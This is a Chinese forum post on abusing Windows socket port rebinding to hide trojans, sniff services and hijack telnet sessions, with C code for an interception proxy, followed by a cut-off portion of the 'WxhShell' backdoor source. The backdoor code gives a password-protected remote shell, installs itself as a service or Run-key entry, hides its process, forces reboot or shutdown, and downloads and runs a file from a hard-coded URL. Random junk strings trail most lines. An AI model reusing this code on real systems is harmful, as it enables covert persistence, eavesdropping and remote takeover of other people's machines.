社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12282阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s!nSE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6!gtve_  
h^.tom g8  
  saddr.sin_family = AF_INET; 6Zl.Lh  
hIE%-gZ/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KoxGxHz^Y3  
UH1S_:6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2l\D~ y  
4EaS g#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R &1mo  
K%aPl~e  
  这意味着什么?意味着可以进行如下的攻击: l&e5_]+%  
YokZar2a0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1DI"LIL  
% RBI\tj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T9U2j-lA?  
]iE.fQ?;J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %O4}i@Fe  
^R8U-V8:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oZ\qT0*eb  
J;Z>fAE7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `lV  
t^bdi}[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |4?}W ,  
Zh fD`@>&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9$\;voo  
JPoK\- 9NT  
  #include _L `N^I.  
  #include 95gsv\2  
  #include Te U7W?M^  
  #include    0F0Q=dZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +{=_|3(  
  int main() bVAgul=__  
  { j~,LoGuPh  
  WORD wVersionRequested; 8#d1}Y  
  DWORD ret; C^\*|=*\  
  WSADATA wsaData; mC[U)` ey  
  BOOL val; y T1Qep  
  SOCKADDR_IN saddr; nTlv'_Y(  
  SOCKADDR_IN scaddr; SJ WP8+  
  int err; BJ.8OU*9]S  
  SOCKET s; 4W//Oc@e  
  SOCKET sc; rO?x/{;ai  
  int caddsize; "<jEI /  
  HANDLE mt; gA 6h5F)_  
  DWORD tid;   :hhE=A>X  
  wVersionRequested = MAKEWORD( 2, 2 ); Oih2UrF  
  err = WSAStartup( wVersionRequested, &wsaData ); v<J;S9u=  
  if ( err != 0 ) { ^ Mvsq)  
  printf("error!WSAStartup failed!\n"); t+4Y3*WeGF  
  return -1; s eZ<52f2  
  } i\Q"a B"r  
  saddr.sin_family = AF_INET; c!u}KVH  
   :2UC{_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Uh|__DUkh  
M6hvi(!X2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4{pemqS*  
  saddr.sin_port = htons(23); N7I71q|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?"8A^ ^  
  { iZq@W3GL C  
  printf("error!socket failed!\n"); xjhAAM  
  return -1; #L IsL  
  } X,Q=n2X?3  
  val = TRUE; ,8"[ /@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0i Z9a/v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `7qp\vYL  
  { h^_taAdS`  
  printf("error!setsockopt failed!\n"); 5fx,rtY2sQ  
  return -1; <sCq x/L  
  } >wS:3$Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v yLAs;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dK;\`>8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5f*'wA  
g\{! 21M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zI:5I@ X  
  { kdMS"iN8x  
  ret=GetLastError(); C.B}Py+   
  printf("error!bind failed!\n"); F%+rOT<5  
  return -1; X@AkA9'fq  
  } aq,)6P`  
  listen(s,2); -b>O4_N  
  while(1) rD U6 5j  
  { HJ1\FO9\  
  caddsize = sizeof(scaddr); T!xy^n]}  
  //接受连接请求 Ce'2lo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _yB9/F  
  if(sc!=INVALID_SOCKET) AW&s-b%P  
  { &|\}\+0Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OZ14-}Lr5  
  if(mt==NULL) S@G{|.)2  
  { 2[&-y[1  
  printf("Thread Creat Failed!\n"); PM<LR?PLc  
  break; -zLI!F 0  
  } ecZOX$'5  
  } cTa D{!zm5  
  CloseHandle(mt); *n_4Rr  
  } W>wi;Gf#  
  closesocket(s); DD$P r&~=  
  WSACleanup(); [5eT|uy  
  return 0; 3R:i*8C  
  }   R|$`MX}'z  
  DWORD WINAPI ClientThread(LPVOID lpParam) u&_U CJCf  
  { EM w(%}8w  
  SOCKET ss = (SOCKET)lpParam; *#^1rKGWK  
  SOCKET sc; 5 ^z ,'C  
  unsigned char buf[4096]; *=9#tYn~  
  SOCKADDR_IN saddr; b-zX3R;  
  long num; Ib8{+j  
  DWORD val; dsZ ( D:)  
  DWORD ret; FY S83uq0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <a[8;YQC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xy3%z  
  saddr.sin_family = AF_INET;  de47O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fO(S+}  
  saddr.sin_port = htons(23); DMN H?6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]]o[fqD-Zn  
  { "[S 6w  
  printf("error!socket failed!\n"); -86:PL(I"  
  return -1; *9(1:N;#  
  } R,+(JgJ  
  val = 100; 10IPq#Jj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iw7r}G  
  { OT3;qT*fw  
  ret = GetLastError(); S)|b%mVwR  
  return -1; Fh $&puF2  
  } ucPMT0k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dKTAc":-}  
  { :Rj,'uH+h)  
  ret = GetLastError(); K61os&K  
  return -1; J}\]<aC  
  } Z`c{LYP,y"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %\&dFwb  
  { aW$nNUVD  
  printf("error!socket connect failed!\n"); rXPx* /C  
  closesocket(sc); (#M$t!'%  
  closesocket(ss); qJt gnk|  
  return -1; S Tk#hhx  
  } A'(F%0NF6  
  while(1) >v,j;[(  
  { [V0h9!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3~xOO*`o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 695ppiKU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~GYtU9s5  
  num = recv(ss,buf,4096,0); ye2Oh7  
  if(num>0) yv4PK*  
  send(sc,buf,num,0); [`\Qte%UH  
  else if(num==0) 7b2<, .E  
  break; .Kwl8xRg  
  num = recv(sc,buf,4096,0); *G41%uz  
  if(num>0) 7'uc;5:  
  send(ss,buf,num,0); 26K~m@  
  else if(num==0) ", )  
  break; $u"$mg7x  
  } r'\TS U5!  
  closesocket(ss); c%.& F  
  closesocket(sc); Mwc3@  
  return 0 ; We?:DM [  
  } g>zL{[e!  
y8z%s/gRh  
J[wXG6M  
========================================================== ht9b=1wd%s  
3vU (4}@  
下边附上一个代码,,WXhSHELL hGV/P94  
3: Uik  
========================================================== 1PSb72h<  
3IFU{0a`  
#include "stdafx.h" 9To6Rc;  
Shz;)0To  
#include <stdio.h> i>2_hn_UR  
#include <string.h> I#U44+c  
#include <windows.h> .vMi <U;  
#include <winsock2.h> e IA=?k.y  
#include <winsvc.h> 9#!tzDOtD  
#include <urlmon.h> Z]BR Mx  
e_TDO   
#pragma comment (lib, "Ws2_32.lib") |e&Kg~~C  
#pragma comment (lib, "urlmon.lib") H #_Z6J  
to7)gOX(  
#define MAX_USER   100 // 最大客户端连接数 A4' aB0^  
#define BUF_SOCK   200 // sock buffer @4$E.q<0  
#define KEY_BUFF   255 // 输入 buffer *gVv74;;  
e$=|-J z  
#define REBOOT     0   // 重启 _8 J (;7  
#define SHUTDOWN   1   // 关机 {'!~j!1'j  
rY}ofq7b  
#define DEF_PORT   5000 // 监听端口 51x,[y+Xe  
tO7{g  
#define REG_LEN     16   // 注册表键长度 RMK U5A7  
#define SVC_LEN     80   // NT服务名长度 Bx F  
whCv9)x  
// 从dll定义API qv6]YPP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UlrY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =xoTH3/,>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2lRZ/xaF%P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  t2iFd?  
jLTs1`I/F  
// wxhshell配置信息 Ry C7  
struct WSCFG { >nX'RE|F  
  int ws_port;         // 监听端口 R 9(^CWs  
  char ws_passstr[REG_LEN]; // 口令 Sgj6tH2M  
  int ws_autoins;       // 安装标记, 1=yes 0=no $`%.Y&A  
  char ws_regname[REG_LEN]; // 注册表键名 A\`Uu&  
  char ws_svcname[REG_LEN]; // 服务名 \#slZ;&s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jp- hFD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lV8Mr6m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wr`eBPu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M:x(_Lu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k4v[2y`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C$8=HM3  
*"@P2F&  
}; NQmDm!-4  
/1*\*<cs  
// default Wxhshell configuration A Ho<E"R\  
struct WSCFG wscfg={DEF_PORT, TUG3#PSnm*  
    "xuhuanlingzhe", #/T)9=m  
    1, rlD@O~P4  
    "Wxhshell", Oaui@q  
    "Wxhshell",  l}JVRU{  
            "WxhShell Service", f&:g{K  
    "Wrsky Windows CmdShell Service", b> | oU  
    "Please Input Your Password: ", YpJzRm{Ra  
  1, "LYob}_z  
  "http://www.wrsky.com/wxhshell.exe", ec|IT0;  
  "Wxhshell.exe" 3jeR;N]x  
    }; Nbr{)h  
79\ =)m}$Q  
// 消息定义模块 ;RXv%ML  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p~t$ll0s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ctf'/IZ5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F XbNmBXF  
char *msg_ws_ext="\n\rExit."; |$Td-M^)  
char *msg_ws_end="\n\rQuit."; B6BOy~B0  
char *msg_ws_boot="\n\rReboot..."; 6`'^$wKs  
char *msg_ws_poff="\n\rShutdown..."; K|iNEhuc  
char *msg_ws_down="\n\rSave to "; @uc%]V<:k  
`+U-oqs  
char *msg_ws_err="\n\rErr!"; t^q/'9Ai&J  
char *msg_ws_ok="\n\rOK!"; |nD`0Rbw  
# aC}\  
char ExeFile[MAX_PATH]; #p^D([k \  
int nUser = 0; U9Sp$$L  
HANDLE handles[MAX_USER]; d< y B ~Y  
int OsIsNt; T+I|2HYqOj  
74Lq!e3hMF  
SERVICE_STATUS       serviceStatus; s;>jy/o0 s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )9}z^+TH  
Q~jUZ-qN  
// 函数声明 *h`zV<j  
int Install(void); Zvc{o8^z  
int Uninstall(void); Q WOd&=:  
int DownloadFile(char *sURL, SOCKET wsh); !aLL|}S  
int Boot(int flag); &TKB8vx=#  
void HideProc(void); C@xh$(y  
int GetOsVer(void); 905 /4z'  
int Wxhshell(SOCKET wsl); `Do-!G+W  
void TalkWithClient(void *cs); (i {  
int CmdShell(SOCKET sock); 3iDRt&y=.  
int StartFromService(void); %0L 9)-R  
int StartWxhshell(LPSTR lpCmdLine); l/SbJrM*  
nM@S`"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (%tKGeb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &P rx=L`  
+g(QF   
// 数据结构和表定义 l2xM.vR  
SERVICE_TABLE_ENTRY DispatchTable[] = tv5SQ+AI3  
{ n<?:!f`   
{wscfg.ws_svcname, NTServiceMain}, 0Y{A  
{NULL, NULL} W@ #Y/L:${  
}; moh7:g  
?,]25q   
// 自我安装 ~h -0rE  
int Install(void) G>"w$Us  
{ -r[l{ce  
  char svExeFile[MAX_PATH]; Ig~lD>dnr'  
  HKEY key; LG(bdj"NM  
  strcpy(svExeFile,ExeFile); YeT[KjX  
_8S!w>$)  
// 如果是win9x系统,修改注册表设为自启动 g$~ktr+%  
if(!OsIsNt) { 4;x{@Ln  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9%pq+?u9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |.X?IJ`  
  RegCloseKey(key); LJ9^:U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }!x\qpA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z.--"cF  
  RegCloseKey(key); qy"#XbBeV  
  return 0; I!~5.  
    } ,F]Y,"x:  
  } CM_FF:<tn  
} K08xiMjl  
else { ;~3CuN8  
pri=;I(2A  
// 如果是NT以上系统,安装为系统服务 ,dP-sD;<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xx_]e4  
if (schSCManager!=0) <`}Oi 5nW  
{ HTA Jn_  
  SC_HANDLE schService = CreateService 9t9x&.A  
  ( l~.ae,|7  
  schSCManager, 8HDYA$L  
  wscfg.ws_svcname, N*y09?/h  
  wscfg.ws_svcdisp, |wZcVct~  
  SERVICE_ALL_ACCESS, v'mRch)d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KEEHb2q  
  SERVICE_AUTO_START, Q/xT>cUd  
  SERVICE_ERROR_NORMAL, &'Pwz  
  svExeFile, u_shC"X:  
  NULL, ux:czZqy  
  NULL, L )p*D(  
  NULL, K-vG5t0$\/  
  NULL, qbrY5;U  
  NULL ya.!zGH  
  ); )RG@D\t,  
  if (schService!=0) K Rs e  
  { +uZ,}J  
  CloseServiceHandle(schService); >$Sc}a3  
  CloseServiceHandle(schSCManager); GG<{n$h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o."k7fLB  
  strcat(svExeFile,wscfg.ws_svcname); z><u YO$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dNK Q&TC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _$g6Mj]1z  
  RegCloseKey(key); oe$&X&  
  return 0; YW9r'{(D(I  
    } O<}3\O )G(  
  } Vz_ac vfk^  
  CloseServiceHandle(schSCManager); nE;^xMOK!  
} jd ]$U_U(  
} {S[+hUl  
Z1Y/2MVSb  
return 1; s[<a(  
} NX.%Rj*  
xgeDfpF'  
// 自我卸载 g2)jd[GM  
int Uninstall(void) gJ;jh7e@  
{ k%2woHSu&  
  HKEY key; ^K[WFiN}  
!A_<(M<  
if(!OsIsNt) { J5Pi"U$FkY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wMc/O g  
  RegDeleteValue(key,wscfg.ws_regname); ' b?' u  
  RegCloseKey(key); wwmHr!b:6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TEB<ia3+  
  RegDeleteValue(key,wscfg.ws_regname); #WE"nh9f|z  
  RegCloseKey(key); TgC8EcLr  
  return 0; -o: if F|  
  } I'sq0^  
} Z:_ wE62'  
} 1=o|[7  
else { @9$u!ny0  
^ &UezDTS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M( eu wy  
if (schSCManager!=0) Q5K<ECoPk  
{ ui>0?O*G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?so=k&I-M  
  if (schService!=0) X1wlOE  
  { [-Xz:  
  if(DeleteService(schService)!=0) { ko7*9`  
  CloseServiceHandle(schService); '>"riEk  
  CloseServiceHandle(schSCManager); %1JN%  
  return 0; UYw_k\  
  } &Y `V A  
  CloseServiceHandle(schService); uGo tXb  
  } !\'NBq,  
  CloseServiceHandle(schSCManager); \+9~\eeXb  
} ' \8|`Zb  
} :NCY6? [Dz  
(B/od#nU  
return 1; !<EQVqj6  
} <]w(1{q(  
A vh"(j  
// 从指定url下载文件 %jBI*WzR  
int DownloadFile(char *sURL, SOCKET wsh) BdMmeM2h  
{ }piDg(D  
  HRESULT hr; #E'aa'P}  
char seps[]= "/"; E\_Wpk  
char *token; C<G`wXlP|  
char *file; \gU=B|W  
char myURL[MAX_PATH]; $E >)  
char myFILE[MAX_PATH]; eV"Za.a.  
 0m&  
strcpy(myURL,sURL); FS+v YqwK  
  token=strtok(myURL,seps); SWq5=h  
  while(token!=NULL) 7^hwRZJ{  
  { L/+KY_b:*  
    file=token; R3dt-v  
  token=strtok(NULL,seps); =Rw-@ *#l  
  }  ?|$IZ9  
8T]x4JQ0  
GetCurrentDirectory(MAX_PATH,myFILE); g~/@`Z2Y  
strcat(myFILE, "\\"); o$XJSz|6  
strcat(myFILE, file); RZL:k;}5  
  send(wsh,myFILE,strlen(myFILE),0); =rL^^MZp  
send(wsh,"...",3,0); l2.L h<G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jmkVolz  
  if(hr==S_OK) 6 @X j  
return 0; S-Z s  
else +\D?H.P  
return 1; 4k6,pt"  
VNggDKS~K  
} FV];od&c  
naaww  
// 系统电源模块 No(p:Snbo  
int Boot(int flag) y]YUuJ9a  
{ #ouE, <  
  HANDLE hToken; OtsW>L@ O(  
  TOKEN_PRIVILEGES tkp; U%qE=u-  
^?Y x{r~9  
  if(OsIsNt) { Jmcf9g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $p?TE8G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9~lC/I')t  
    tkp.PrivilegeCount = 1; c&]nAn(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q"OJF'>w5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MEled:i  
if(flag==REBOOT) { i^I U)\   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K:_5#!*^98  
  return 0; <5fb, @YN  
} ->q^$#e  
else { mu/GOEZ5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !7fL'  
  return 0; ji] H|  
} !h[xeLlU  
  } tpQ?E<O  
  else { Oh]RIWL  
if(flag==REBOOT) { KN\*|)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fvH4<c5x  
  return 0; Jp#Onl+d6  
} B*c@w~E  
else { [.[|rnil  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :IB@@5r1  
  return 0; a|5^4 J \%  
} r}%2;!T  
} O S%  
KO''B or  
return 1; 'Io2",~ M  
} 2]i>kV/,0  
552U~t  
// win9x进程隐藏模块 Z+EN]02|  
void HideProc(void) kE` V@F  
{ eX0ASI9  
 8-.jf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6%Ws>H4@|  
  if ( hKernel != NULL ) -z6{!  
  { I4RUXi 5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3Y6W)$ Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {S*:pG:+q  
    FreeLibrary(hKernel); G0^,@jF?b  
  } 7!kbe2/]'  
48p< ~#<W\  
return; sQ05wAv  
} +ia N[F$  
'v?"TZ  
// 获取操作系统版本 J~=tR1 k  
int GetOsVer(void) |on$ )vm  
{ g$a 5  
  OSVERSIONINFO winfo; Rk(2|I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K2gg"#ft?  
  GetVersionEx(&winfo); 0n('F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @9ndr$t  
  return 1; # qPWJ  
  else zhW.0:9 CR  
  return 0; n+qa/<  
} Z?AX  
[:xpz,  
// 客户端句柄模块 -!JnyD   
int Wxhshell(SOCKET wsl) 9 U!-Zn!  
{ %`b %TH^  
  SOCKET wsh; 8*[Q{:'.  
  struct sockaddr_in client; `^#V1kRmH  
  DWORD myID; ,LpGE>s  
Uc>$w?oA  
  while(nUser<MAX_USER) tuWJj^  
{ pjaDtNb  
  int nSize=sizeof(client); H}}g\|r&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V3] Z~@  
  if(wsh==INVALID_SOCKET) return 1; Th%2pwvER  
G zw $M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .*acw  
if(handles[nUser]==0) $u-yw1FT  
  closesocket(wsh); 1Ka,u20  
else /_g-w93   
  nUser++; c(5r  
  } t.YY?5 l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nPh| rW=  
AQR/nWwx  
  return 0; a ]~Yi.H  
} lf?dTPrD  
c^a D r  
// 关闭 socket y/d/#}\:  
void CloseIt(SOCKET wsh) XzV:q!e-  
{ Tu*"+*r>s  
closesocket(wsh); y)%CNH)*x  
nUser--; ` 0}z ;&:  
ExitThread(0); "S ~(|G  
} gdKn!; ,w#  
u:[vqlU  
// 客户端请求句柄 U`w `Cr  
void TalkWithClient(void *cs) &Bfgvws;  
{ 5:W 5@e{  
(s?Rbd  
  SOCKET wsh=(SOCKET)cs; $-Wn|w+h<a  
  char pwd[SVC_LEN]; 9S8>"w^R  
  char cmd[KEY_BUFF]; x;; =+)Gg  
char chr[1]; ? ^l{t4  
int i,j; Q#a<T4l  
Xe:gH.}  
  while (nUser < MAX_USER) { >3\($<YDZM  
A.@/~\  
if(wscfg.ws_passstr) { C 7e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :e|[gEA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v0|[w2Q2  
  //ZeroMemory(pwd,KEY_BUFF); d=J$H<  
      i=0; MfJ8+3@K  
  while(i<SVC_LEN) { rr;p;  
F!yr};@^p  
  // 设置超时 pA|Z%aL  
  fd_set FdRead; #x^dR-@   
  struct timeval TimeOut; 9f/RD?(1O  
  FD_ZERO(&FdRead); H,I k&{@j  
  FD_SET(wsh,&FdRead); I]dt1iXu_{  
  TimeOut.tv_sec=8; 8;vpa*  
  TimeOut.tv_usec=0; d@u)'AY%/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]u\K}n6[q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7=e!k-G  
tn@MOOP l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %n7mN])  
  pwd=chr[0]; (Z{&[h  
  if(chr[0]==0xd || chr[0]==0xa) { !rwe|"8m?u  
  pwd=0; :p6.v>s8  
  break; <ic%c/mN  
  } RXZ}aX[h  
  i++; t^Hte^#S  
    } SA1| 7  
^.]]0Rp&  
  // 如果是非法用户,关闭 socket q)Uh_l.Cj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :fW\!o 8Z2  
} !~Am1\02  
$: %U`46%s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -N4km5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #^Io9dA h  
={GYJ. *Ah  
while(1) { |` +G7?)Y  
4PVkKP'/  
  ZeroMemory(cmd,KEY_BUFF); [p7cgHSMt  
5qx,b&^w  
      // 自动支持客户端 telnet标准    a1p}y2  
  j=0; Q:/BC= ~  
  while(j<KEY_BUFF) { S9'8rn!_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5/m^9@A  
  cmd[j]=chr[0]; AlQE;4yX  
  if(chr[0]==0xa || chr[0]==0xd) { ^/k`URQ  
  cmd[j]=0; uBPxMwohR  
  break; Oy,`tG0  
  } Sjogv  
  j++; 'aFjyY?%  
    } ;g M$%!&  
y_mD9bgW  
  // 下载文件 "AAzBWd/  
  if(strstr(cmd,"http://")) { N=`xoF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); in/ITy-  
  if(DownloadFile(cmd,wsh)) ;is*[r\|1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +}u{{  
  else ?[|T"bE5[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aeP 6JHj  
  } lM<SoC;[  
  else { qBkI9H  
R p!R&U/  
    switch(cmd[0]) { J#pl7q)^w  
  U6R"eQUTV  
  // 帮助 `k>h2(@9S  
  case '?': { quvdm68  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /%fa_+,|-  
    break; *t,J4c  
  } #DL( %=:  
  // 安装 &?-LL{W{  
  case 'i': { Ot]Y/;K  
    if(Install()) <}^W9 >u<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k>N >_{\  
    else 41d,<E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z&"-%l.b@}  
    break; *TjolE~o  
    } %/86}DCfE?  
  // 卸载 S;582H9D  
  case 'r': { !+E|{Zj  
    if(Uninstall()) T%%+v#+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E%f;Z7G  
    else 4|&7j7<u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R"au8f.  
    break; I1H} 5 bf3  
    } t5%\`Yo?  
  // 显示 wxhshell 所在路径 `o9vE0^T<  
  case 'p': { q;))3aQe  
    char svExeFile[MAX_PATH]; Al^n&Aa+\  
    strcpy(svExeFile,"\n\r"); MZ(TST"  
      strcat(svExeFile,ExeFile); N}Ol`@@#h  
        send(wsh,svExeFile,strlen(svExeFile),0); k \|[=  
    break; ^8mF0K&  
    } 6z^Kg~a   
  // 重启 o8:K6y  
  case 'b': { d2Z kchf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YU89m7cc'  
    if(Boot(REBOOT)) !bnuCc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ek [V A\G  
    else { Pez 7HKW:  
    closesocket(wsh); %SRUHx[D  
    ExitThread(0); O1@-)<_71  
    } O7#ECUH  
